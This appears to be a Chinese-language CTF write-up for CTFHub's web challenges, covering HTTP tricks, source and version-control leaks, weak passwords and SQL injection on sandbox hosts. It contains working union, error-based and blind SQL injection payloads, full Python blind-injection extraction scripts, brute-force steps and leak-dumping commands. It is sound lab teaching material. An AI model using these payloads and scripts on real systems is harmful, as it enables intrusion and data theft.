Web前置技能
HTTP协议
请求方式
注意到题中要求使用CTF**B Method,故在Burp-Suite将GET方式改为CTFHUB(区分大小写)。
将Intercept打开后打开浏览器并填入URL,将橙色标识中的GET方法改为CTFHUB后发送,得到如下flag
302跳转
打开URL如下
打开Intercept并进入HTTP history查看
发现两处302跳转,查看得到flag
Cookie
打开URL如下
得知要使用admin登陆
刷新拦截一下请求
将admin=0改为admin=1并发送,得到flag
基础认证
打开URL点击click
在HTTP history中查看response,注意到认证提示“Basic realm=”Do u know admin ?””
猜测登陆用户名为admin
输入用户名密码后抓包,看到base64加密后的字符
在解码器中发现是账号:密码的格式,而账号为admin
使用爆破模块intruder
将该请求发送到intruder,将basic后面的字符选中并点击右侧Add§
进入payloads导入ctfhub给的密码本
同时添加前缀admin:(注意中间的:)
添加base64编码
取消url编码,不然=会被转化为%3d
开始爆破
筛选状态200并查看返回值,得到flag
响应包源代码
打开URL发现是游戏
打开源代码发现flag
信息泄露
目录遍历
法一:Burp Suite
注意到目录为4*4的文件夹
进入到最后一级目录,发送URL到intruder中
分别选择攻击类型:cluster bomb,选择变化的位置,设置payload的sets和options
设置完成后开始
在结果页中发现长度明显不一致的返回,查看返回内容
从而得到flag
法二:python
# _*_ coding:utf-8 _*_
import requests
url = "http://challenge-0b7cf3fe1d9ef811.sandbox.ctfhub.com:10800/flag_in_here"#靶机url
for i in range(5):#i为0-4的数
for j in range(5):#j为0-4的数
url_final = url + "/" + str(i) + "/" + str(j)#将最终的目录拼接出来
r = requests.get(url_final)#获得服务器返回的Response
r.encoding = "utf-8"
get_file=r.text#得到text内容
if "flag" in get_file:#判断flag是否在返回值中
print(url_final)
运行结果如下,得到flag目录
PHPINFO
打开目标url,进入phpinfo界面
搜索flag关键词得到flag
备份文件下载
网站源码
法一:Burp Suite
打开url发现提示给了常见的文件及后缀名
进入bs浏览器,随便输一个,例如:web.tar尝试访问
在历史记录中将该次访问发送到intruder中
在源代码中选择攻击类型并选中web和tar
payloads中载入要变化的文件名
填写两个set后开始攻击,找到状态为200的文件,下载
得到flag.txt
将该文件放入浏览器中尝试打开得到flag
法二:dirsearch
在dirsearch目录中打开powershell,执行以下命令
python .\dirsearch.py -u http://challenge-584841b234301423.sandbox.ctfhub.com:10800 -e tar,tar.gz,zip,rar -x 502,503
执行完成后得到备份文件
后续步骤同法一
法三:python
import requests
url="http://challenge-584841b234301423.sandbox.ctfhub.com:10800/"
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
list2=['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
url_final=url+i+"."+j
r=requests.get(url_final)
if(r.status_code == 200):
print(url_final)
bak文件
打开URL有:
使用dirsearch扫描文件
在dirsearch目录执行以下命令
python .\dirsearch.py -u http://challenge-b2eb848d1933d253.sandbox.ctfhub.com:10800 -e * -x 502,503
等待扫描完成发现有index.php.bak文件
直接下载.bak文件打开发现flag
vim缓存
法一:dirsearch
打开URL得到提示
使用dirsearch扫描
python .\dirsearch.py -u http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800 -e swp -x 502,503
主动选择.swp的后缀是因为-e *默认不包括swp文件
下载index.php.swp后放入linux中使用vim打开
先使用mv将index.php.swp改名为.index.php.swp
mv index.php.swp .index.php.swp
再使用vim打开index.php文件
vim index.php
按R选择恢复得到flag
法二:直接访问
由题目可得要求得到vim缓存文件
故直接访问.index.php.swp(swp,swo,swn)
得到index.php.swp文件后同法一
法三:curl(未成功)
可以直接使用curl命令查看
curl http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800/.index.php.swp
但出现问题:
.DS_Store
法一:dirsearch+linux查看
dirsearch开扫
得到.DS_Store文件,丢到浏览器下载后在linux内打开
在看到.txt文件,丢到浏览器中打开得到flag
法二:dirsearch+python dsstore查看
同法一,得到DS_Store
将得到的文件用dsstore打开
得到.txt文件
Git泄露
Log
dirsearch开扫
看到有.git文件夹,用githack下下来(仅支持python2)
python2 Githack.py http://challenge-b4001d8a6ccbd18d.sandbox.ctfhub.com:10800/.git
去到.git同级目录,输入
git log
查看之前对仓库的操作,发现第二次添加了flag,考虑恢复
git reset --hard HEAD^
或者
git diff HEAD^
得到历史文件
查看.txt文件得到flag
Stash
法一:git differ
dirsearch开扫
发现.git,用hackgit抓下来,得到.git文件夹
进入.git/refs,查看stash文件
在gtihash中对比一下,得到flag
法二:git stash pop
得到.git文件夹后,直接查看stash
执行git stash pop
发现弹出文件
查看该文件得到flag
Index
dirsearch开扫
看到有.git文件,用githack抓出来
python2 .\GitHack.py http://challenge-241983fae914b573.sandbox.ctfhub.com:10800/.git`
进入目录直接看到.txt文件,打开得到flag
SVN泄露
dirsearch扫出来有.svn目录,用dvcs-ripper找一下svn
进入.svn目录(隐藏文件夹,要用ls -a查看),在pristine目录中有两个文件夹,找到旧版的(08)
cat查看文件得到flag
HG泄露
dirsearch开扫发现有.hg残留,在kali中用dvcs-ripper找一下
发现部分404,但是在store-fncache中仍有文件显示
拼接url+flag得到flag
密码口令
弱口令
burp里抓包登陆请求,发送到爆破模组里
选上下面的用户密码,用集束炸弹方式攻击
payload1,2分别使用简单的弱口令
选中长度排序,得到爆破成功的的对应密码,查看response得到flag
默认口令
打开是网关登陆界面,还有验证码,那就没法用intruder爆破密码了
随便试一个账号密码,显示用户不存在
查看源代码发现是“亿邮邮件网关”,结合title的“默认口令”,试一下是否是出厂的默认设置
直接搜该网关的管理用户
丢进去登陆得到flag
SQL注入
整数型注入
敲1 and 1=1
不报错,1 and 1=2
报错,说明整数注入,直接猜列数
1 order by x
x为数字
当x=3时报错,说明只有两列
联合查询,让查询的id=-1,使得前面select * from news where id=1
错误,回显后面的union字段
查到当前数据库名为sqli
继续爆表名
-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
得到sqli的库中两个表为flag和news
查flag表
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
拿flag
-1 union select 1,flag from sqli.flag
字符型注入
输入1'
报错而1"
不报错,说明本次用的是'
分割
1' order by x #
查列数
x=3报错
联合查询
-1' union select 1,database() #
爆出库名,继续爆
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
-1' union select 1,flag from sqli.flag #
报错注入
先order by找一下列数
报错注入可以用updatexml(1,2,3)
函数,当第二个参数含特殊符号时报错,同时将第二个参数的内容显示在报错信息里
特殊符号用0x7e -> ~
1 and updatexml(1,concat(0x7e,database()),3)
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')),3)
得到sqli库中两个表:flag,news
1 and updatexml(1,concat(0x7e,(select * from sqli.flag)),3)
此时仅显示了前一部分的flag,原因是updatexml函数最多只能显示32位字符的长度,
1 and updatexml(1,concat(0x7e,mid((select * from sqli.flag),20,32)),3)
查到了第20-32位的flag
拼起来就得到了完整flag
布尔盲注
关键点是if判断:
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
利用substr函数,截取字符串(库名、表名、数据)并放入expr1中进行判断,从而得出正确值
if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))
显然,数据库的第一个字符为s
有python脚本遍历
import requests
urlOPEN = input('输入url:\n')
mark = 'query_success'
database_name = ''
table_list = []
column_list = []
flag=''
def get_database_name():#查库名
for j in range(1,9):#数据库名限制为64字符,但一般小于9,为了效率
for i in 'abcdefghijklnmopqrstuvwxyz':#linux下mysql应该是对大小写敏感的,而windows则不
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
r = requests.get(url)
if mark in r.text:
database_name = database_name+i
print(database_name)
break
print('database_name:',database_name)
get_database_name()
def get_table_name():#查表名
for k in range(0,4):#看前四个表
name=''
for j in range(1,9):#一般来说表的最大长度有64
for i in 'abcdefghijklnmopqrstuvwxyz':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r = requests.get(url)
if mark in r.text:
name = name+i
break
table_list.append(name)
print('table_name:',table_list)
get_table_name()
def get_column_name():#查列
for k in range(0,3): #判断列里最多有4个字段
name=''
for j in range(1,9): #判断一个字段名最多有9个字符组成
for i in 'abcdefghijklnmopqrstuvwxyz':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
column_list.append(name)
print ('column_name:',column_list)
get_column_name()
def get_data():
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):#ascii48-126对应的数字+英文+{,},|
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
flag=flag+chr(i)
print(flag)
break
print ('flag:',flag)
get_data()
时间盲注
方法和布尔盲注类似,利用if判断,但需要引入sleep()函数,从是否执行sleep()函数来判断if条件是否成立
例
if(length(database())>=2,sleep(1),1)
如果数据库名字大于等于二,则返回时间应该大于1
脚本与布尔盲注的脚本类似,只不过需要引入time库
由于网络环境的波动,一般要跑三次
import requests
import time
urlOPEN = input('输入url:\n')
mark = 'query_success'
database_name = ''
table_list = []
column_list = []
flag = ''
def get_database_name():#查库名
global database_name
for j in range(1,9):#数据库名限制为64字符,但一般小于9,为了效率
for i in 'abcdefghijklnmopqrstuvwxyz':#linux下mysql应该是对大小写敏感的,而windows则不
url = urlOPEN+'if(substr(database(),%d,1)="%s",sleep(1),1)' %(j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
database_name = database_name+i
print(database_name)
break
print('database_name:',database_name)
get_database_name()
def get_table_name():#查表名
global table_list
for k in range(0,4):#看前四个表
name=''
for j in range(1,9):#一般来说表的最大长度有64
for i in 'abcdefghijklnmopqrstuvwxyz':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
name = name+i
break
table_list.append(name)
print('table_name:',table_list)
get_table_name()
def get_column_name():#查列
global column_list
for k in range(0,3): #判断列里最多有4个字段
name=''
for j in range(1,9): #判断一个字段名最多有9个字符组成
for i in 'abcdefghijklnmopqrstuvwxyz':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
name=name+i
break
column_list.append(name)
print ('column_name:',column_list)
get_column_name()
def get_data():
global flag
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):#ascii48-126对应的数字+英文+{,},|
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(1),1)' %(j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
flag=flag+chr(i)
print(flag)
break
print ('flag:',flag)
get_data()
还是用sqlmap吧,够没脑子的
MySQL结构
本质就是整数型注入
用1 and 1=1
判断出,然后union select 联合注入即可
select * from news where id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='fddqhlosgo'
-1 union select 1,umremmalnq from sqli.fddqhlosgo
Cookie注入
提示是cookie注入,随便发点cookie过去
那就发cookie id过去
显然是普通的数字注入,order by尝试之后有两列
那就用一般的联合注入union select
构造id=-1 union select 1,code查找
已经成功注入了,看得出来数据库是sqli
爆库
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
爆表
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
爆字段
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'gpdznzrugt'
爆值
id=-1 union select 1,rgbrnkhfep from sqli.gpdznzrugt
UA注入
用hackbar重新发一遍请求
User-Agent=-1 union select database(),1#
User-Agent=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'#
User-Agent=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='nnzwsnydwo'#
User-Agent=-1 union select pekzosqxfm,1 from sqli.nnzwsnydwo#
Refer注入
同UA
Referer=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'#
Referer=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='uakovlxjab'#
Referer=-1 union select hkjndazhbu,1 from sqli.uakovlxjab#
过滤空格
常见的有/**/,(),%0a
经尝试可以用/**/绕过
-1/**/union/**/select/**/database(),1#
-1/**/union/**/select/**/group_concat(table_name),1/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'#
-1/**/union/**/select/**/group_concat(column_name),1/**/from/**/information_schema.columns/**/where/**/table_name='vihvhlsoyv'#
-1/**/union/**/select/**/kfqwbuiugf,1/**/from/**/sqli.vihvhlsoyv#
文件上传
无验证
一句话木马
前端验证
禁用js之后一句话🐴